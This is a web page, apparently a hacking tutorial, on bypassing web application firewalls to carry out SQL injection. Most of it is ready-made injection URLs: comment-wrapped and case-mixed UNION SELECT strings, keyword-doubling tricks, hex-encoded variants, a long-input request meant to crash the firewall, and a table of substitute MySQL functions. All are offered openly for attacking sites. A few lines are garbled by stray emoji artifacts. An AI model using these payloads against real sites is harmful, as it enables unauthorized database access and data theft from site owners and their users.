Web Application Firewall Bypassing Methods - FOCSoft

Basic Of Advanced WAF Bypassing Methods

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What is WAF ?
WAF stands for Web Application Firewall. It is widely used nowadays to detect and defend SQL Injections!

Let’s Begin!

How to know if there is a Web Application Firewall?

This is pretty simple! When you try to enter a command used for SQL Injections (usually the “UNION SELECT” command), you get an 403 Error (and the website says “Forbidden” or “Not Acceptable”).
Example: (m) or |)

http://www.site.com/index.php?page_id=-15 UNION SELECT 1,2,3,4….
(We get a 403 Error!)

Basic/Simple Methods:

First, of course, we need to know the Basic Methods to bypass WAF…

1) Comments:
You can use comments to bypass WAF:

http://www.site.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4….
(First Method that can Bypass WAF)

However, most WAF identify this method so they still show a “Forbidden” Error…

2) Change the Case of the Letters:
You can also change the Case of the Command:

http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
(Another Basic Method to Bypass WAF!)

However, as before, this trick is also detected by most WAF!

3) Combine the previous Methods:
What you can also do is to combine the previous two methods:

http://www.site.com/index.php?page_id=-15 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4….

This method is not detectable by many Web Application Firewalls!

4) Replaced Keywords:
Some Firewalls remove the “UNION SELECT” Statement when it is found in the URL… We can do this to exploit this function:

 

http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
(The “union” and the “select” will be removed, so the final result will be: “UNION SELECT” :-D )

This method doesn’t work on ALL Firewalls, as only some of them remove the “UNION” and the “SELECT” commands when they are detected!

5) Inline Comments:
Some firewalls get bypassed by Inserting Inline Comments between the “Union” and the “Select” Commands:

http://www.site.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…
(The %55 is equal to “U” and %53 to “S”. See more on the Advanced Section….)

I believe that these are the most basic Methods to WAF Bypassing! Let’s move on more advanced ones…


Advanced Methods:
Now that you have learned about Basic WAF Bypassing, I think it is good to understand more advanced Methods!

1) Buffer Overflow / Firewall Crash:
Many Firewalls are developed in C/C++ and we can Crash them using Buffer Overflow!

http://www.site.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….

(( You can test if the WAF can be crashed by typing:
? (hug)page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4….

If you get a 500, you can exploit it using the Buffer Overflow Method! ))

2) Replace Characters with their HEX Values:
We can replace some characters with their HEX (URL-Encoded) Values.
Example:

http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….
(which means “union select”)

Text to Hex Encoder (Choose the “Hex Encoded for URL” result!):

 http://www.swingnote.com/tools/texttohex.php

3) Use other Variables or Commands instead of the common ones for SQLi:
Apart from the “UNION SELECT” other commands might be blocked.
Common Commands Blocked:

COMMAND | WHAT TO USE INSTEAD

Code:

@@version       | version()
concat()           | concat_ws()  --> Difference between concat() and concat_ws(): http://is.gd/VEeiDU
group_concat() | concat_ws()
Learning MySQL Really helps on such issues! ;-)

4) Misc Exploitable Functions:
Many firewalls try to offer more Protection by adding Prototype or Strange Functions! (Which, of course, we can exploit!):
Example:

This firewall below replaces “*” (asterisks) with Whitespaces! What we can do is this:

http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4…

(If the Firewall removes the “*”, the result will be: 15+union+select….)
So, if you find such a silly function, you can exploit it, in this way! :-D

[+] In addition to the previous example, some other bypasses might be:

Code:

-15+(uNioN)+(sElECt)….

-15+(uNioN+SeleCT)+…

-15+(UnI)(oN)+(SeL)(ecT)+….

-15+union (select 1,2,3,4…)

 

 

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